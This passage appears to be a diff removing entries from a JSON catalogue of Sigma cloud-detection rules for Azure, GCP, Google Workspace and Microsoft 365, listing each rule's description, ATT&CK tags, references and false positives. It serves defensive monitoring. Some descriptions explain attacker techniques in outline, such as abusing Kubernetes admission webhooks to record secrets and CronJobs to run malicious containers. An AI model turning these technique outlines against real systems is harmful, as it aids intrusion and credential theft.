"https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_suppression_rule_created.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/16", - "filename": "azure_suppression_rule_created.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "Suppression Rule being created may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Suppression Rule created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated", - "uuid": "fa84aaf5-8142-43cd-9ec2-78cfebf878ce", - "value": "Temporary Access Pass Added To An Account", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_tap_added.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1078" - ], - "creation_date": "2022/08/10", - "filename": "azure_tap_added.yml", - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "level": "high", - "falsepositive": [ - "Administrator adding a legitmate temporary access pass" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when there is a interruption in the authentication process.", - "uuid": "8366030e-7216-476b-9927-271d79f13cf3", - "value": "Azure Unusual Authentication Interruption", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_unusual_authentication_interruption.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ], - "creation_date": "2021/11/26", - "filename": "azure_unusual_authentication_interruption.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.", - "uuid": "5f521e4b-0105-4b72-845b-2198a54487b9", - "value": "Users Authenticating To Other Azure AD Tenants", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_users_authenticating_to_other_azure_ad_tenants.yml" - ], - "tags": [ - "attack.t1078" - ], - "creation_date": "2022/06/30", - "filename": "azure_users_authenticating_to_other_azure_ad_tenants.yml", - "author": "MikeDuddington, '@dudders1'", - "level": "medium", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detect access has been blocked by Conditional Access policies.\nThe access policy does not allow token issuance which might be sights\u2248 of unauthorizeed login to valid accounts.\n", - "uuid": "9a60e676-26ac-44c3-814b-0c2a8b977adf", - "value": "User Access Blocked by Azure Conditional Access", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_login_blocked_by_conditional_access.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ], - "creation_date": "2021/10/10", - "filename": "azure_user_login_blocked_by_conditional_access.yml", - "author": "AlertIQ", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detect when a user has reset their password in Azure AD", - "uuid": "340ee172-4b67-4fb4-832f-f961bdc1f3aa", - "value": "Password Reset By User Account", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_password_change.yml" - ], - "tags": [ - "attack.t1078" - ], - "creation_date": "2022/08/03", - "filename": "azure_user_password_change.yml", - "author": "YochanaHenderson, '@Yochana-H'", - "level": "medium", - "falsepositive": [ - "If this was approved by System Administrator or confirmed user action." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a Virtual Network is modified or deleted in Azure.", - "uuid": "bcfcc962-0e4a-4fd9-84bb-a833e672df3f", - "value": "Azure Virtual Network Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_virtual_network_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/08", - "filename": "azure_virtual_network_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Virtual Network being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Virtual Network modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Identifies when a VPN connection is modified or deleted.", - "uuid": "61171ffc-d79c-4ae5-8e10-9323dba19cd3", - "value": "Azure VPN Connection Modified or Deleted", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_vpn_connection_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/08", - "filename": "azure_vpn_connection_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "VPN Connection being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "VPN Connection modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "azure" - } - }, - { - "description": "Detects when storage bucket is enumerated in Google Cloud.", - "uuid": "e2feb918-4e77-4608-9697-990a1aaf74c3", - "value": "Google Cloud Storage Buckets Enumeration", - "meta": { - "refs": [ - "https://cloud.google.com/storage/docs/json_api/v1/buckets", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_enumeration.yml" - ], - "tags": [ - "attack.discovery" - ], - "creation_date": "2021/08/14", - "filename": "gcp_bucket_enumeration.yml", - "author": "Austin Songer @austinsonger", - "level": "low", - "falsepositive": [ - "Storage Buckets being enumerated may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Storage Buckets enumerated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Detects when storage bucket is modified or deleted in Google Cloud.", - "uuid": "4d9f2ee2-c903-48ab-b9c1-8c0f474913d0", - "value": "Google Cloud Storage Buckets Modified or Deleted", - "meta": { - "refs": [ - "https://cloud.google.com/storage/docs/json_api/v1/buckets", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/14", - "filename": "gcp_bucket_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Storage Buckets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Storage Buckets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Identifies when sensitive information is re-identified in google Cloud.", - "uuid": "234f9f48-904b-4736-a34c-55d23919e4b7", - "value": "Google Cloud Re-identifies Sensitive Information", - "meta": { - "refs": [ - "https://cloud.google.com/dlp/docs/reference/rest/v2/projects.content/reidentify", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dlp_re_identifies_sensitive_information.yml" - ], - "tags": [ - "attack.impact", - "attack.t1565" - ], - "creation_date": "2021/08/15", - "filename": "gcp_dlp_re_identifies_sensitive_information.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Identifies when a DNS Zone is modified or deleted in Google Cloud.", - "uuid": "28268a8f-191f-4c17-85b2-f5aa4fa829c3", - "value": "Google Cloud DNS Zone Modified or Deleted", - "meta": { - "refs": [ - "https://cloud.google.com/dns/docs/reference/v1/managedZones", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dns_zone_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/15", - "filename": "gcp_dns_zone_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).", - "uuid": "fe513c69-734c-4d4a-8548-ac5f609be82b", - "value": "Google Cloud Firewall Modified or Deleted", - "meta": { - "refs": [ - "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", - "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.Firewalls.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_firewall_rule_modified_or_deleted.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ], - "creation_date": "2021/08/13", - "filename": "gcp_firewall_rule_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Firewall rules being modified or deleted may be performed by a system administrator. Verify that the firewall configuration change was expected.", - "Exceptions can be added to this rule to filter expected behavior." - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.", - "uuid": "980a7598-1e7f-4962-9372-2d754c930d0e", - "value": "Google Full Network Traffic Packet Capture", - "meta": { - "refs": [ - "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", - "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_full_network_traffic_packet_capture.yml" - ], - "tags": [ - "attack.collection", - "attack.t1074" - ], - "creation_date": "2021/08/13", - "filename": "gcp_full_network_traffic_packet_capture.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Full Network Packet Capture may be done by a system or network administrator.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Identifies when an admission controller is executed in GCP Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", - "uuid": "6ad91e31-53df-4826-bd27-0166171c8040", - "value": "Google Cloud Kubernetes Admission Controller", - "meta": { - "refs": [ - "https://cloud.google.com/kubernetes-engine/docs", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_admission_controller.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1078", - "attack.credential_access", - "attack.t1552", - "attack.t1552.007" - ], - "creation_date": "2021/11/25", - "filename": "gcp_kubernetes_admission_controller.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Google Cloud Kubernetes Admission Controller may be done by a system administrator.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", - "uuid": "cd3a808c-c7b7-4c50-a2f3-f4cfcd436435", - "value": "Google Cloud Kubernetes CronJob", - "meta": { - "refs": [ - "https://cloud.google.com/kubernetes-engine/docs", - "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", - "https://kubernetes.io/docs/concepts/workloads/controllers/job/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_cronjob.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.execution" - ], - "creation_date": "2021/11/22", - "filename": "gcp_kubernetes_cronjob.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Google Cloud Kubernetes CronJob/Job may be done by a system administrator.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.", - "uuid": "0322d9f2-289a-47c2-b5e1-b63c90901a3e", - "value": "Google Cloud Kubernetes RoleBinding", - "meta": { - "refs": [ - "https://github.com/elastic/detection-rules/pull/1267", - "https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole", - "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control", - "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", - "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_rolebinding.yml" - ], - "tags": [ - "attack.credential_access" - ], - "creation_date": "2021/08/09", - "filename": "gcp_kubernetes_rolebinding.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "RoleBindings and ClusterRoleBinding being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "RoleBindings and ClusterRoleBinding modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Identifies when the Secrets are Modified or Deleted.", - "uuid": "2f0bae2d-bf20-4465-be86-1311addebaa3", - "value": "Google Cloud Kubernetes Secrets Modified or Deleted", - "meta": { - "refs": [ - "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_secrets_modified_or_deleted.yml" - ], - "tags": [ - "attack.credential_access" - ], - "creation_date": "2021/08/09", - "filename": "gcp_kubernetes_secrets_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Secrets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Identifies when a service account is disabled or deleted in Google Cloud.", - "uuid": "13f81a90-a69c-4fab-8f07-b5bb55416a9f", - "value": "Google Cloud Service Account Disabled or Deleted", - "meta": { - "refs": [ - "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_disabled_or_deleted.yml" - ], - "tags": [ - "attack.impact", - "attack.t1531" - ], - "creation_date": "2021/08/14", - "filename": "gcp_service_account_disabled_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Service Account being disabled or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Service Account disabled or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Identifies when a service account is modified in Google Cloud.", - "uuid": "6b67c12e-5e40-47c6-b3b0-1e6b571184cc", - "value": "Google Cloud Service Account Modified", - "meta": { - "refs": [ - "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_modified.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/14", - "filename": "gcp_service_account_modified.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Service Account being modified may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Service Account modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Detect when a Cloud SQL DB has been modified or deleted.", - "uuid": "f346bbd5-2c4e-4789-a221-72de7685090d", - "value": "Google Cloud SQL Database Modified or Deleted", - "meta": { - "refs": [ - "https://cloud.google.com/sql/docs/mysql/admin-api/rest/v1beta4/users/update", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_sql_database_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/10/15", - "filename": "gcp_sql_database_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "SQL Database being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "SQL Database modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.", - "uuid": "99980a85-3a61-43d3-ac0f-b68d6b4797b1", - "value": "Google Cloud VPN Tunnel Modified or Deleted", - "meta": { - "refs": [ - "https://any-api.com/googleapis_com/compute/docs/vpnTunnels", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_vpn_tunnel_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/16", - "filename": "gcp_vpn_tunnel_modified_or_deleted.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "VPN Tunnel being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "VPN Tunnel modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "No established category", - "logsource.product": "gcp" - } - }, - { - "description": "Detects when an an application is removed from Google Workspace.", - "uuid": "ee2803f0-71c8-4831-b48b-a1fc57601ee4", - "value": "Google Workspace Application Removed", - "meta": { - "refs": [ - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_application_removed.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/26", - "filename": "gworkspace_application_removed.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "Application being removed may be performed by a System Administrator." - ], - "logsource.category": "No established category", - "logsource.product": "google_workspace" - } - }, - { - "description": "Detects when an API access service account is granted domain authority.", - "uuid": "04e2a23a-9b29-4a5c-be3a-3542e3f982ba", - "value": "Google Workspace Granted Domain API Access", - "meta": { - "refs": [ - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_granted_domain_api_access.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2021/08/23", - "filename": "gworkspace_granted_domain_api_access.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "google_workspace" - } - }, - { - "description": "Detects when multi-factor authentication (MFA) is disabled.", - "uuid": "780601d1-6376-4f2a-884e-b8d45599f78c", - "value": "Google Workspace MFA Disabled", - "meta": { - "refs": [ - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_mfa_disabled.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/26", - "filename": "gworkspace_mfa_disabled.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "MFA may be disabled and performed by a system administrator." - ], - "logsource.category": "No established category", - "logsource.product": "google_workspace" - } - }, - { - "description": "Detects when an a role is modified or deleted in Google Workspace.", - "uuid": "6aef64e3-60c6-4782-8db3-8448759c714e", - "value": "Google Workspace Role Modified or Deleted", - "meta": { - "refs": [ - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/24", - "filename": "gworkspace_role_modified_or_deleted.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "google_workspace" - } - }, - { - "description": "Detects when an a role privilege is deleted in Google Workspace.", - "uuid": "bf638ef7-4d2d-44bb-a1dc-a238252e6267", - "value": "Google Workspace Role Privilege Deleted", - "meta": { - "refs": [ - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_privilege_deleted.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/24", - "filename": "gworkspace_role_privilege_deleted.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "google_workspace" - } - }, - { - "description": "Detects when an Google Workspace user is granted admin privileges.", - "uuid": "2d1b83e4-17c6-4896-a37b-29140b40a788", - "value": "Google Workspace User Granted Admin Privileges", - "meta": { - "refs": [ - "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", - "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_user_granted_admin_privileges.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2021/08/23", - "filename": "gworkspace_user_granted_admin_privileges.yml", - "author": "Austin Songer", - "level": "medium", - "falsepositive": [ - "Google Workspace admin role privileges, may be modified by system administrators." - ], - "logsource.category": "No established category", - "logsource.product": "google_workspace" - } - }, - { - "description": "Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce.\nThis is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.\n", - "uuid": "2e669ed8-742e-4fe5-b3c4-5a59b486c2ee", - "value": "Activity Performed by Terminated User", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_by_terminated_user.yml" - ], - "tags": [ - "attack.impact" - ], - "creation_date": "2021/08/23", - "filename": "microsoft365_activity_by_terminated_user.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.", - "uuid": "d8b0a4fe-07a8-41be-bd39-b14afa025d95", - "value": "Activity from Anonymous IP Addresses", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_anonymous_ip_addresses.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1573" - ], - "creation_date": "2021/08/23", - "filename": "microsoft365_activity_from_anonymous_ip_addresses.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "User using a VPN or Proxy" - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.", - "uuid": "0f2468a2-5055-4212-a368-7321198ee706", - "value": "Activity from Infrequent Country", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_infrequent_country.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1573" - ], - "creation_date": "2021/08/23", - "filename": "microsoft365_activity_from_infrequent_country.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.", - "uuid": "2b669496-d215-47d8-bd9a-f4a45bf07cda", - "value": "Data Exfiltration to Unsanctioned Apps", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_data_exfiltration_to_unsanctioned_app.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1537" - ], - "creation_date": "2021/08/23", - "filename": "microsoft365_data_exfiltration_to_unsanctioned_app.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence.\nThese IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.\n", - "uuid": "a3501e8e-af9e-43c6-8cd6-9360bdaae498", - "value": "Activity from Suspicious IP Addresses", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_from_susp_ip_addresses.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1573" - ], - "creation_date": "2021/08/23", - "filename": "microsoft365_from_susp_ip_addresses.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.", - "uuid": "d7eab125-5f94-43df-8710-795b80fa1189", - "value": "Microsoft 365 - Impossible Travel Activity", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_impossible_travel_activity.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ], - "creation_date": "2020/07/06", - "filename": "microsoft365_impossible_travel_activity.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.", - "uuid": "c191e2fa-f9d6-4ccf-82af-4f2aba08359f", - "value": "Logon from a Risky IP Address", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", - "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_logon_from_risky_ip_address.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ], - "creation_date": "2021/08/23", - "filename": "microsoft365_logon_from_risky_ip_address.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "m365" - } - }, - { - "description": "Alert for the addition of a new federated domain.", - "uuid": "42127bdd-9133-474f-a6f1-97b6c08a4339", - "value": "New Federated Domain Added", - "meta": { - 